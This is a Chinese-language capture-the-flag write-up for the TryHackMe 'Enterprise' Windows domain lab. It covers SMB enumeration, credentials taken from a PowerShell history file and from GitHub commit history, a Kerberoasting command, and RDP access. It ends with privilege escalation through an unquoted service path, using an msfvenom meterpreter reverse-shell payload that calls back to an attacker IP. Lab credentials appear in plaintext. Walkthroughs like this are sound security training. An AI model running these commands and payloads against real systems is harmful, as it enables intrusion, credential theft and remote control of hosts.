THM打靶日寄25-Enterprise

扫描打点

啊西八，以后必须先用 --min-rate 10000 -p- 扫一遍

找到个域名 enterprise.thm0 以及 lab.enterprise.thm

扫到个好玩的，虽然没什么用：

80 端口应该是没东西了，看看远处别的端口吧：
- 445
  
  Users 共享不让碰，就碰一下，连进去看到：
  
  这里可以访问 LAB-ADMIN/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/Consolehost_history.txt
  
  这个类似 .bash_history
  
  拿到账密 replication:101RepAdmin123!!
- 7990
  
  是一个登录页面，但上面写着已经转移到 github 了
  
  ~~我超，供应链打击~~
  
  搜了下还真有：
  
  https://github.com/Enterprise-THM
  
  看了下真是完美的供应链：
  
  在 enterprise-thm 组织中只有一人，其仓库中只有一份脚本文件，查看 commit 历史直接得到账密：
  
  nik:ToastyBoi!
  
  但是登录框需要邮箱
k8s：Kerberoasting 攻击

前几天运动会上看cx佬的博客正好谈到这点，等回头有时间去把域学习的靶机做完好了

所以这里要引入一个新工具 impacket-GetUserSPNs ，其用于找出和普通用户账户关联的 SPN

具体的细则我会在之后的一篇文章里详写的。。大概
1
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip 10.10.116.149 lab.enterprise.thm/nik:ToastyBoi! -request -outputfile hash.txt
拿到了 bitbucket 用户的 hash ，爆出来：

bitbucket:littleredbucket

然后用 evil-winrm 好像登不上，因为有 rdp 直接远程桌面了
1
xfreerdp /u:bitbucket /p:littleredbucket /v:10.10.116.149 /dynamic-resolution
windows无引号服务路径提权

呃，这里 linpeas.sh 幽默报错了，找不到为什么

大概会扫出来这个：

生成一个 Zero.exe 作为反弹 shell ，放在 /Zero Tier 用于劫持服务执行的文件：
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.64.234 LPORT=1234 -e x86/shikata_ga_nai -f exe -o Zero.exe
同时 msf 开监听，在 Windows 端那里：
1
Start-Service -name "zerotieroneservice"
然后发现断掉的很快，用 windows/manage/migrate 设一下自动转移进程

提权完成